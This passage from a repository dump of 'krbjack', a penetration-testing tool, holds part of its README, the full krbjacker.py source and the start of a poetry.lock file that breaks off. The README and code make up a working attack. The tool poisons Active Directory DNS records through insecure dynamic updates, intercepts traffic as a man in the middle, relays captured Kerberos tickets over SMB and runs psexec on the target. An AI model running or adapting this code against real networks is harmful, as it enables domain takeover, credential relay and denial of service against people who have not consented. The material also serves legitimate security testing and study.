machine. Note that without any tcp forwarding enabled, a full denial of service is performed... 58 | 59 | ## What are the requirements for this to work ? 60 | 61 | First you need to check if the domain you are testing is vulnerable to the main misconfiguration : `ZONE_UPDATE_UNSECURE`. For this you can use external tools such as PingCastle, or let Krbjack do it with the addition of the `--check` flag on the command line. 62 | 63 | At the moment this tool only works for systems that do not require SMB Signing. This is a current limitation as the exploited service is SMB for the time being. It means that you cannot target domain controllers most of the time as they have been requiring SMB signing by default for a long time. 64 | 65 | ## What are the risks of using this tool ? 66 | 67 | Just like any other man in the middle attack, you will be receiving connections from any client requesting an access to any service of your target. This means that it can be CPU intensive if the targetted system is highly used. 68 | 69 | Moreover, this tool performs live packet inspection on fully-connected TCP streams. Clients DO connect to you before being redirected to the legitimate service. Because of how Kerberos works, it will block some specific connections from behaving correctly as service tickets will be used on the clients' behalf, having the effect to be "consumed" (kerberos tickets cannot be replayed). It means that this tool will make network connection a bit unreliable for every new connection with an interesting AP_REQ in it (AP_REQ for SMB services to our target). HOWEVER, a whitelist is in place to prevent complete blocking of connections. If a client comes several times, only the first AP_REQ will be hijacked. Either it was successful and you pwned your target, or it was not and the client is added to the whitelist to prevent it from being checked again and blocked multiple times. Moreover, other services will still be served and be working correctly thanks to proper forwarding "à la" ssh port forwarding, thoug it might induce lag and delays because of network packets processing on the attacker machine. 70 | 71 | ## How does it works ? 72 | 73 | First the man in the middle is put in place by changing DNS records attached to your target. It abuses the DNS misconfiguration to say `"hey, now myLegitService is now at "`. This way, everyone trying to reach the legitimate service will now reach to you instead. The DNS records are also kept poisoned by checking regularly if they have been set back to the right ones (a server or computer might have reboot, or updated a record while the attack was beeing performed). 74 | 75 | In the meantime, the tool starts multithreaded TCP servers to mimick your target TCP services. It starts to serve SMB, HTTP, whatever service you state in the command line. It does so just like an SSH port forwarding : when you reach to the attacker's started services, krbjack initiates connection to the true legitimate service on the same port, and forwards every packet from the legitimate client, to the legitimate service. This way, a full man in the middle is performed both ways, this prevents traffic from being completely blocked. 76 | 77 | When the man in the middle is performed, every single packet is inspected to find kerberos AP_REQ packets (containing what's necessary to authenticate to services) or other authenticating packets. When such a packet/ticket is found to be sent from a client, it is used in real time to connect to the legitimate service *on behalf* of the legitimate client. This way krbjack can perform authenticated stuff to the legitimate service. At the moment only SMB is supported, meaning that krbjack performs authenticated SMB actions at this time of the attack workflow. It then uses this authenticated channel to check if the legitimate client was an administrator (tries to list directory ADMIN$ - C:\Windows). If it happens that the client was an administrator, man in the middle is stopped, DNS records are fixed ant it then uses the very same authenticated channel to perform a full psexec. 78 | 79 | Krbjack also modifies packets on-the-fly depending on the protocol to remove security flags when possible (SMB flags "signing required", "supported" etc... though it is quite naive for the time being). 80 | 81 | # Acknowledgements 82 | 83 | Project Zero : 84 | - https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html 85 | - https://googleprojectzero.blogspot.com/2021/10/windows-exploitation-tricks-relaying.html 86 | 87 | Impacket : 88 | - https://github.com/fortra/impacket 89 | 90 | # Disclaimer 91 | 92 | This tooling is made only for legal penetration testing and not for any other use. I am not responsible for how it is used by anyone or if it is used to penetrate systems without permission or proper contractual agreements. It is provided as is and without warranty of any sort. 93 | -------------------------------------------------------------------------------- /krbjack/krbjacker.py: -------------------------------------------------------------------------------- 1 | from ipaddress import IPv4Network, IPv4Address 2 | from colorama import Fore, Style 3 | from uuid import uuid4 4 | import dns.resolver 5 | import dns.update 6 | import dns.query 7 | import dns.rcode 8 | import importlib 9 | import random 10 | import socket 11 | import queue 12 | 13 | from krbjack.tcpforward import TCPForwardThread 14 | from krbjack.utils import PeriodicTimer 15 | 16 | 17 | class KrbJacker: 18 | def __init__(self, args, modules): 19 | self.sub_cmd = args.sub_cmd 20 | self.args = args 21 | self.is_poisoning_active = False 22 | self.forwarders = [] 23 | self.ignore_set = set() 24 | self.owned = False 25 | self.available_modules = [importlib.import_module(f"krbjack.modules.{m}") for m in modules] 26 | self.running_modules = [] 27 | 28 | if self.sub_cmd == "check": 29 | self.domain = args.domain 30 | self.dc_ip = str(args.dc_ip) 31 | elif self.sub_cmd == "run": 32 | self.domain = args.domain 33 | self.dc_ip = str(args.dc_ip) 34 | self.destination_name = args.target_name 35 | self.should_poison = not args.no_poison 36 | self.ports = args.ports 37 | # DNS Request to get ip addresses for this target 38 | try: 39 | self.original_ips = self.get_dns_record(self.destination_name) 40 | except dns.resolver.NXDOMAIN: 41 | print( 42 | f"\tIt looks like {Fore.LIGHTRED_EX}something is wrong{Fore.RESET}, the dns " 43 | f"server (DC) located at {Fore.LIGHTBLUE_EX}{self.dc_ip}{Fore.RESET} does not " 44 | f"look to know the name {Fore.LIGHTBLUE_EX}{self.destination_name}{Fore.RESET}" 45 | ) 46 | print("\tMaybe you mispelled something ?") 47 | print("Bye.") 48 | exit(1) 49 | 50 | # Get our own IP here 51 | try: 52 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 53 | s.settimeout(2) 54 | s.connect((self.dc_ip, 53)) 55 | self.my_ip = s.getsockname()[0] 56 | s.close() 57 | except socket.timeout: 58 | print( 59 | Fore.LIGHTRED_EX, f"The DNS server {self.dc_ip} doesnt look to be reachable 🤔.", 60 | Fore.RESET 61 | ) 62 | exit(1) 63 | 64 | if self.sub_cmd == "run": 65 | if args.target_ip: 66 | self.destination_ip = str(args.target_ip) 67 | else: 68 | # Chosing one IP to talk to the target from the ones available 69 | # Naive scan on tcp 445 to determine which IP to use 70 | self.destination_ip = None 71 | for ip in self.original_ips: 72 | try: 73 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 74 | s.settimeout(3.0) 75 | s.connect((ip, 445)) 76 | s.close() 77 | self.destination_ip = ip 78 | except (TimeoutError, OSError): 79 | continue 80 | if self.destination_ip is None: 81 | print( 82 | f"{Fore.LIGHTRED_EX}Something is not right{Fore.RESET}, it looks like you " 83 | f"cannot reach any of the IP addresses suggested by the DNS server (the DC)" 84 | ".\nMaybe try with the --target-ip option to override this naive detection." 85 | ) 86 | exit(1) 87 | 88 | # Queries DNS to get a list of answers for a typical A query 89 | def get_dns_record(self, name): 90 | resolver = dns.resolver.Resolver(configure=False) 91 | resolver.nameservers = [self.dc_ip] 92 | answers = resolver.resolve(f"{name}.{self.domain}", "A") 93 | return [answer.address for answer in answers] 94 | 95 | # Adds a single record A for this (name, ip) 96 | def add_dns_record(self, record_name, ip): 97 | add = dns.update.Update(f"{self.domain}.") 98 | add.add(record_name, 300, "A", ip) 99 | response = dns.query.tcp(add, self.dc_ip, timeout=10) 100 | return response.rcode() 101 | 102 | # Removes all records with the given name 103 | def del_dns_record(self, record_name): 104 | delete = dns.update.Update(f"{self.domain}.") 105 | delete.delete(record_name) 106 | response = dns.query.tcp(delete, self.dc_ip, timeout=10) 107 | return response.rcode() 108 | 109 | # Returns wether the main domain zone is vulnerable to a DNS record poisoning 110 | def check(self): 111 | # to check, we try to add a random record and see if it works 112 | # Generation of a random RFC1918 private IPv4 address 113 | networks = [ 114 | IPv4Network("10.0.0.0/8"), IPv4Network("192.168.0.0/16"), IPv4Network("172.16.0.0/12") 115 | ] 116 | network = random.choice(networks) 117 | name = str(uuid4()) 118 | ip = IPv4Address( 119 | random.randrange( 120 | int(network.network_address) + 1, int(network.broadcast_address) - 1 121 | ) 122 | ) 123 | response = self.add_dns_record(name, str(ip)) 124 | if response == dns.rcode.NOERROR: 125 | self.del_dns_record(name) 126 | return True 127 | else: 128 | return False 129 | 130 | def run(self): 131 | is_poisonable = self.check() 132 | if self.sub_cmd == "check": 133 | print( 134 | "Check mode : no poisoning will be done, no man-in-the-middle made nor any " 135 | "side-effect inducing actions." 136 | ) 137 | if is_poisonable: 138 | print("\t", Fore.GREEN, Style.BRIGHT, "This domain IS vulnerable.") 139 | else: 140 | print(Fore.RED, Style.BRIGHT, "This domain IS NOT vulnerable") 141 | print(Style.RESET_ALL, Fore.RESET, end="") 142 | exit(0) 143 | if not is_poisonable and self.should_poison: 144 | print( 145 | "The domain is not vulnerable to DNS records poisoning. If you found another way" 146 | " to intercept traffic anyway, you can add the --no-poison flag. Else, you're " 147 | "doomed 🤷." 148 | ) 149 | exit(0) 150 | print("Running all the stuff, you can ctrl+c ONCE to stop everything.") 151 | print( 152 | "If you kill everything mid attack you take the risk to leave a " 153 | "DNS poisoning up leading to a complete denial of service" 154 | ) 155 | print("---") 156 | interesting_packet_queue = queue.Queue() 157 | # Creation of TCP forwarder threads, one for each port we want to pipe with the target 158 | # destination 159 | 160 | # Starts TCP Forwardig 161 | def false(*args): 162 | return False, False 163 | try: 164 | # For each port to forward 165 | for dport in self.ports: 166 | functions = [] 167 | # We check if a module has a method to catch packets on this port 168 | for module in self.available_modules: 169 | m = module.Module(self.args) 170 | # If it is the case, we add the function to check packets 171 | # to the list of functions to catch interesting packets 172 | if dport == m.port: 173 | self.running_modules.append(m) 174 | functions.append(m.packet_to_catch) 175 | # If no module matches a port of interest, the default function 176 | # is "false" upper here and just returns false all the time. 177 | if not functions: 178 | functions.append(false) 179 | print( 180 | f"{Fore.LIGHTBLACK_EX}Starting forwarder 0.0.0.0:{dport}<->" 181 | f"{self.destination_ip}:{dport} ...{Fore.RESET}" 182 | ) 183 | self.forwarders.append( 184 | TCPForwardThread( 185 | self.destination_ip, dport, interesting_packet_queue, 186 | functions, self.ignore_set 187 | ) 188 | ) 189 | except PermissionError: 190 | print(f"Cant do that without admin rights, port {dport} is privileged/<1024.") 191 | exit(1) 192 | # Start TCP forwarders in background 193 | for forwarder in self.forwarders: 194 | forwarder.start() 195 | print(f"{Fore.LIGHTBLACK_EX}Forwarders started and enabled.{Fore.RESET}") 196 | if self.should_poison: 197 | print(f"{Fore.LIGHTBLACK_EX}Starting periodic DNS poisoning...{Fore.RESET}") 198 | self.poison_timer = PeriodicTimer( 199 | 10, self.poison 200 | ) 201 | self.poison_timer.start() 202 | self.is_poisoning_active = True 203 | while not self.owned: 204 | print("--- --- Now waiting for clients --- ---") 205 | # Now we wait for interesting packes. Queue.get() is blocking. 206 | # Then we can extract the interesting packet from the Queue shared by all forwarders 207 | # The module variable contains the module object that sent the packet to the queue 208 | client_ip, the_packet, the_module = interesting_packet_queue.get() 209 | # We then run the module who found the packet interesting 210 | print(Fore.LIGHTYELLOW_EX, end="") 211 | self.owned = the_module.run(self, client_ip, the_packet) 212 | print(Fore.RESET, end="") 213 | if not self.owned: 214 | self.ignore_set.add(client_ip[0]) 215 | print(f"Added {client_ip[0]} to ignore set.") 216 | else: 217 | print(f"{Fore.GREEN} === OWNED ==={Fore.RESET}") 218 | # Here the attack is finished and was successful, poisoning must be stopped 219 | if self.is_poisoning_active: 220 | self.unpoison() 221 | self.stop_forwarding() 222 | 223 | def stop_forwarding(self): 224 | for forwardThread in self.forwarders: 225 | forwardThread.forwarder.socket.close() 226 | forwardThread.forwarder.shutdown() 227 | 228 | def unpoison(self): 229 | self.poison_timer.cancel() 230 | self.poison_timer.thread.join() 231 | print(f"Restauring DNS records correctly : A {self.destination_name} {self.original_ips}") 232 | # delete our poison record 233 | self.del_dns_record(self.destination_name) 234 | # add one record for each original_ip 235 | for ip in self.original_ips: 236 | self.add_dns_record(self.destination_name, ip) 237 | self.is_poisoning_active = False 238 | print(f"\t... {Fore.LIGHTGREEN_EX}Done{Fore.RESET}, DNS records are okay now") 239 | 240 | def poison(self): 241 | # Check first if it is necessary to poison again 242 | answers = self.get_dns_record(self.destination_name) 243 | if len(answers) == 1 and answers[0] == self.my_ip: 244 | return 245 | else: 246 | # Then if necessary : 247 | # delete all records pointing to self.destination_name 248 | self.del_dns_record(self.destination_name) 249 | # add one record pointing to us 250 | print( 251 | f"{Fore.LIGHTBLACK_EX}Poisoning ... : A {self.destination_name}" 252 | f" -> {self.my_ip}{Fore.RESET}" 253 | ) 254 | self.add_dns_record(self.destination_name, self.my_ip) 255 | -------------------------------------------------------------------------------- /poetry.lock: -------------------------------------------------------------------------------- 1 | # This file is automatically @generated by Poetry 1.4.2 and should not be changed by hand. 2 | 3 | [[package]] 4 | name = "cffi" 5 | version = "1.15.1" 6 | description = "Foreign Function Interface for Python calling C code." 7 | category = "main" 8 | optional = false 9 | python-versions = "*" 10 | files = [ 11 | {file = "cffi-1.15.1-cp27-cp27m-macosx_10_9_x86_64.whl", hash = "sha256:a66d3508133af6e8548451b25058d5812812ec3798c886bf38ed24a98216fab2"}, 12 | {file = "cffi-1.15.1-cp27-cp27m-manylinux1_i686.whl", hash = "sha256:470c103ae716238bbe698d67ad020e1db9d9dba34fa5a899b5e21577e6d52ed2"}, 13 | {file = "cffi-1.15.1-cp27-cp27m-manylinux1_x86_64.whl", hash = "sha256:9ad5db27f9cabae298d151c85cf2bad1d359a1b9c686a275df03385758e2f914"}, 14 | {file = "cffi-1.15.1-cp27-cp27m-win32.whl", hash = "sha256:b3bbeb01c2b273cca1e1e0c5df57f12dce9a4dd331b4fa1635b8bec26350bde3"}, 15 | {file = "cffi-1.15.1-cp27-cp27m-win_amd64.whl", hash = "sha256:e00b098126fd45523dd056d2efba6c5a63b71ffe9f2bbe1a4fe1716e1d0c331e"}, 16 | {file = "cffi-1.15.1-cp27-cp27mu-manylinux1_i686.whl", hash = "sha256:d61f4695e6c866a23a21acab0509af1cdfd2c013cf256bbf5b6b5e2695827162"}, 17 | {file = "cffi-1.15.1-cp27-cp27mu-manylinux1_x86_64.whl", hash = "sha256:ed9cb427ba5504c1dc15ede7d516b84757c3e3d7868ccc85121d9310d27eed0b"}, 18 | {file = "cffi-1.15.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:39d39875251ca8f612b6f33e6b1195af86d1b3e60086068be9cc053aa4376e21"}, 19 | {file = "cffi-1.15.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:285d29981935eb726a4399badae8f0ffdff4f5050eaa6d0cfc3f64b857b77185"}, 20 | {file = "cffi-1.15.1-cp310-cp310-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:3eb6971dcff08619f8d91607cfc726518b6fa2a9eba42856be181c6d0d9515fd"}, 21 | {file = "cffi-1.15.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:21157295583fe8943475029ed5abdcf71eb3911894724e360acff1d61c1d54bc"}, 22 | {file = "cffi-1.15.1-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:5635bd9cb9731e6d4a1132a498dd34f764034a8ce60cef4f5319c0541159392f"}, 23 | {file = "cffi-1.15.1-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:2012c72d854c2d03e45d06ae57f40d78e5770d252f195b93f581acf3ba44496e"}, 24 | {file = "cffi-1.15.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:dd86c085fae2efd48ac91dd7ccffcfc0571387fe1193d33b6394db7ef31fe2a4"}, 25 | {file = "cffi-1.15.1-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:fa6693661a4c91757f4412306191b6dc88c1703f780c8234035eac011922bc01"}, 26 | {file = "cffi-1.15.1-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:59c0b02d0a6c384d453fece7566d1c7e6b7bae4fc5874ef2ef46d56776d61c9e"}, 27 | {file = "cffi-1.15.1-cp310-cp310-win32.whl", hash = "sha256:cba9d6b9a7d64d4bd46167096fc9d2f835e25d7e4c121fb2ddfc6528fb0413b2"}, 28 | {file = "cffi-1.15.1-cp310-cp310-win_amd64.whl", hash = "sha256:ce4bcc037df4fc5e3d184794f27bdaab018943698f4ca31630bc7f84a7b69c6d"}, 29 | {file = "cffi-1.15.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:3d08afd128ddaa624a48cf2b859afef385b720bb4b43df214f85616922e6a5ac"}, 30 | {file = "cffi-1.15.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:3799aecf2e17cf585d977b780ce79ff0dc9b78d799fc694221ce814c2c19db83"}, 31 | {file = "cffi-1.15.1-cp311-cp311-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:a591fe9e525846e4d154205572a029f653ada1a78b93697f3b5a8f1f2bc055b9"}, 32 | {file = "cffi-1.15.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3548db281cd7d2561c9ad9984681c95f7b0e38881201e157833a2342c30d5e8c"}, 33 | {file = "cffi-1.15.1-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:91fc98adde3d7881af9b59ed0294046f3806221863722ba7d8d120c575314325"}, 34 | {file = "cffi-1.15.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:94411f22c3985acaec6f83c6df553f2dbe17b698cc7f8ae751ff2237d96b9e3c"}, 35 | {file = "cffi-1.15.1-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:03425bdae262c76aad70202debd780501fabeaca237cdfddc008987c0e0f59ef"}, 36 | {file = "cffi-1.15.1-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:cc4d65aeeaa04136a12677d3dd0b1c0c94dc43abac5860ab33cceb42b801c1e8"}, 37 | {file = "cffi-1.15.1-cp311-cp311-win32.whl", hash = "sha256:a0f100c8912c114ff53e1202d0078b425bee3649ae34d7b070e9697f93c5d52d"}, 38 | {file = "cffi-1.15.1-cp311-cp311-win_amd64.whl", hash = "sha256:04ed324bda3cda42b9b695d51bb7d54b680b9719cfab04227cdd1e04e5de3104"}, 39 | {file = "cffi-1.15.1-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:50a74364d85fd319352182ef59c5c790484a336f6db772c1a9231f1c3ed0cbd7"}, 40 | {file = "cffi-1.15.1-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e263d77ee3dd201c3a142934a086a4450861778baaeeb45db4591ef65550b0a6"}, 41 | {file = "cffi-1.15.1-cp36-cp36m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:cec7d9412a9102bdc577382c3929b337320c4c4c4849f2c5cdd14d7368c5562d"}, 42 | {file = "cffi-1.15.1-cp36-cp36m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:4289fc34b2f5316fbb762d75362931e351941fa95fa18789191b33fc4cf9504a"}, 43 | {file = "cffi-1.15.1-cp36-cp36m-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:173379135477dc8cac4bc58f45db08ab45d228b3363adb7af79436135d028405"}, 44 | {file = "cffi-1.15.1-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:6975a3fac6bc83c4a65c9f9fcab9e47019a11d3d2cf7f3c0d03431bf145a941e"}, 45 | {file = "cffi-1.15.1-cp36-cp36m-win32.whl", hash = "sha256:2470043b93ff09bf8fb1d46d1cb756ce6132c54826661a32d4e4d132e1977adf"}, 46 | {file = "cffi-1.15.1-cp36-cp36m-win_amd64.whl", hash = "sha256:30d78fbc8ebf9c92c9b7823ee18eb92f2e6ef79b45ac84db507f52fbe3ec4497"}, 47 | {file = "cffi-1.15.1-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:198caafb44239b60e252492445da556afafc7d1e3ab7a1fb3f0584ef6d742375"}, 48 | {file = "cffi-1.15.1-cp37-cp37m-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:5ef34d190326c3b1f822a5b7a45f6c4535e2f47ed06fec77d3d799c450b2651e"}, 49 | {file = "cffi-1.15.1-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8102eaf27e1e448db915d08afa8b41d6c7ca7a04b7d73af6514df10a3e74bd82"}, 50 | {file = "cffi-1.15.1-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:5df2768244d19ab7f60546d0c7c63ce1581f7af8b5de3eb3004b9b6fc8a9f84b"}, 51 | {file = "cffi-1.15.1-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:a8c4917bd7ad33e8eb21e9a5bbba979b49d9a97acb3a803092cbc1133e20343c"}, 52 | {file = "cffi-1.15.1-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0e2642fe3142e4cc4af0799748233ad6da94c62a8bec3a6648bf8ee68b1c7426"}, 53 | {file = "cffi-1.15.1-cp37-cp37m-win32.whl", hash = "sha256:e229a521186c75c8ad9490854fd8bbdd9a0c9aa3a524326b55be83b54d4e0ad9"}, 54 | {file = "cffi-1.15.1-cp37-cp37m-win_amd64.whl", hash = "sha256:a0b71b1b8fbf2b96e41c4d990244165e2c9be83d54962a9a1d118fd8657d2045"}, 55 | {file = "cffi-1.15.1-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:320dab6e7cb2eacdf0e658569d2575c4dad258c0fcc794f46215e1e39f90f2c3"}, 56 | {file = "cffi-1.15.1-cp38-cp38-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1e74c6b51a9ed6589199c787bf5f9875612ca4a8a0785fb2d4a84429badaf22a"}, 57 | {file = "cffi-1.15.1-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a5c84c68147988265e60416b57fc83425a78058853509c1b0629c180094904a5"}, 58 | {file = "cffi-1.15.1-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:3b926aa83d1edb5aa5b427b4053dc420ec295a08e40911296b9eb1b6170f6cca"}, 59 | {file = "cffi-1.15.1-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:87c450779d0914f2861b8526e035c5e6da0a3199d8f1add1a665e1cbc6fc6d02"}, 60 | {file = "cffi-1.15.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4f2c9f67e9821cad2e5f480bc8d83b8742896f1242dba247911072d4fa94c192"}, 61 | {file = "cffi-1.15.1-cp38-cp38-win32.whl", hash = "sha256:8b7ee99e510d7b66cdb6c593f21c043c248537a32e0bedf02e01e9553a172314"}, 62 | {file = "cffi-1.15.1-cp38-cp38-win_amd64.whl", hash = "sha256:00a9ed42e88df81ffae7a8ab6d9356b371399b91dbdf0c3cb1e84c03a13aceb5"}, 63 | {file = "cffi-1.15.1-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:54a2db7b78338edd780e7ef7f9f6c442500fb0d41a5a4ea24fff1c929d5af585"}, 64 | {file = "cffi-1.15.1-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:fcd131dd944808b5bdb38e6f5b53013c5aa4f334c5cad0c72742f6eba4b73db0"}, 65 | {file = "cffi-1.15.1-cp39-cp39-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:7473e861101c9e72452f9bf8acb984947aa1661a7704553a9f6e4baa5ba64415"}, 66 | {file = "cffi-1.15.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6c9a799e985904922a4d207a94eae35c78ebae90e128f0c4e521ce339396be9d"}, 67 | {file = "cffi-1.15.1-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:3bcde07039e586f91b45c88f8583ea7cf7a0770df3a1649627bf598332cb6984"}, 68 | {file = "cffi-1.15.1-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:33ab79603146aace82c2427da5ca6e58f2b3f2fb5da893ceac0c42218a40be35"}, 69 | {file = "cffi-1.15.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5d598b938678ebf3c67377cdd45e09d431369c3b1a5b331058c338e201f12b27"}, 70 | {file = "cffi-1.15.1-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:db0fbb9c62743ce59a9ff687eb5f4afbe77e5e8403d6697f7446e5f609976f76"}, 71 | {file = "cffi-1.15.1-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:98d85c6a2bef81588d9227dde12db8a7f47f639f4a17c9ae08e773aa9c697bf3"}, 72 | {file = "cffi-1.15.1-cp39-cp39-win32.whl", hash = "sha256:40f4774f5a9d4f5e344f31a32b5096977b5d48560c5592e2f3d2c4374bd543ee"}, 73 | {file = "cffi-1.15.1-cp39-cp39-win_amd64.whl", hash = "sha256:70df4e3b545a17496c9b3f41f5115e69a4f2e77e94e1d2a8e1070bc0c38c8a3c"}, 74 | {file = "cffi-1.15.1.tar.gz", hash = "sha256:d400bfb9a37b1351253cb402671cea7e89bdecc294e8016a707f6d1d8ac934f9"}, 75 | ] 76 | 77 | [package.dependencies] 78 | pycparser = "*" 79 | 80 | [[package]] 81 | name = "chardet" 82 | version = "5.1.0" 83 | description = "Universal encoding detector for Python 3" 84 | category = "main" 85 | optional = false 86 | python-versions = ">=3.7" 87 | files = [ 88 | {file = "chardet-5.1.0-py3-none-any.whl", hash = "sha256:362777fb014af596ad31334fde1e8c327dfdb076e1960d1694662d46a6917ab9"}, 89 | {file = "chardet-5.1.0.tar.gz", hash = "sha256:0d62712b956bc154f85fb0a266e2a3c5913c2967e00348701b32411d6def31e5"}, 90 | ] 91 | 92 | [[package]] 93 | name = "click" 94 | version = "8.1.3" 95 | description = "Composable command line interface toolkit" 96 | category = "main" 97 | optional = false 98 | python-versions = ">=3.7" 99 | files = [ 100 | {file = "click-8.1.3-py3-none-any.whl", hash = "sha256:bb4d8133cb15a609f44e8213d9b391b0809795062913b383c62be0ee95b1db48"}, 101 | {file = "click-8.1.3.tar.gz", hash = "sha256:7682dc8afb30297001674575ea00d1814d808d6a36af415a82bd481d37ba7b8e"}, 102 | ] 103 | 104 | [package.dependencies] 105 | colorama = {version = "*", markers = "platform_system == \"Windows\""} 106 | 107 | [[package]] 108 | name = "colorama" 109 | version = "0.4.6" 110 | description = "Cross-platform colored terminal text." 111 | category = "main" 112 | optional = false 113 | python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,!=3.6.*,>=2.7" 114 | files = [ 115 | {file = "colorama-0.4.6-py2.py3-none-any.whl", hash = "sha256:4f1d9991f5acc0ca119f9d443620b77f9d6b33703e51011c16baf57afb285fc6"}, 116 | {file = "colorama-0.4.6.tar.gz", hash = "sha256:08695f5cb7ed6e0531a20572697297273c47b8cae5a63ffc6d6ed5c201be6e44"}, 117 | ] 118 | 119 | [[package]] 120 | name = "cryptography" 121 | version = "40.0.1" 122 | description = "cryptography is a package which provides cryptographic recipes and primitives to Python developers." 123 | category = "main" 124 | optional = false 125 | python-versions = ">=3.6" 126 | files = [ 127 | {file = "cryptography-40.0.1-cp36-abi3-macosx_10_12_universal2.whl", hash = "sha256:918cb89086c7d98b1b86b9fdb70c712e5a9325ba6f7d7cfb509e784e0cfc6917"}, 128 | {file = "cryptography-40.0.1-cp36-abi3-macosx_10_12_x86_64.whl", hash = "sha256:9618a87212cb5200500e304e43691111570e1f10ec3f35569fdfcd17e28fd797"}, 129 | {file = "cryptography-40.0.1-cp36-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3a4805a4ca729d65570a1b7cac84eac1e431085d40387b7d3bbaa47e39890b88"}, 130 | {file = "cryptography-40.0.1-cp36-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:63dac2d25c47f12a7b8aa60e528bfb3c51c5a6c5a9f7c86987909c6c79765554"}, 131 | {file = "cryptography-40.0.1-cp36-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:0a4e3406cfed6b1f6d6e87ed243363652b2586b2d917b0609ca4f97072994405"}, 132 | {file = "cryptography-40.0.1-cp36-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:1e0af458515d5e4028aad75f3bb3fe7a31e46ad920648cd59b64d3da842e4356"}, 133 | {file = "cryptography-40.0.1-cp36-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:d8aa3609d337ad85e4eb9bb0f8bcf6e4409bfb86e706efa9a027912169e89122"}, 134 | {file = "cryptography-40.0.1-cp36-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:cf91e428c51ef692b82ce786583e214f58392399cf65c341bc7301d096fa3ba2"}, 135 | {file = "cryptography-40.0.1-cp36-abi3-win32.whl", hash = "sha256:650883cc064297ef3676b1db1b7b1df6081794c4ada96fa457253c4cc40f97db"}, 136 | {file = "cryptography-40.0.1-cp36-abi3-win_amd64.whl", hash = "sha256:a805a7bce4a77d51696410005b3e85ae2839bad9aa38894afc0aa99d8e0c3160"}, 137 | {file = "cryptography-40.0.1-pp38-pypy38_pp73-macosx_10_12_x86_64.whl", hash = "sha256:cd033d74067d8928ef00a6b1327c8ea0452523967ca4463666eeba65ca350d4c"}, 138 | {file = "cryptography-40.0.1-pp38-pypy38_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:d36bbeb99704aabefdca5aee4eba04455d7a27ceabd16f3b3ba9bdcc31da86c4"}, 139 | {file = "cryptography-40.0.1-pp38-pypy38_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:32057d3d0ab7d4453778367ca43e99ddb711770477c4f072a51b3ca69602780a"}, 140 | {file = "cryptography-40.0.1-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:f5d7b79fa56bc29580faafc2ff736ce05ba31feaa9d4735048b0de7d9ceb2b94"}, 141 | {file = 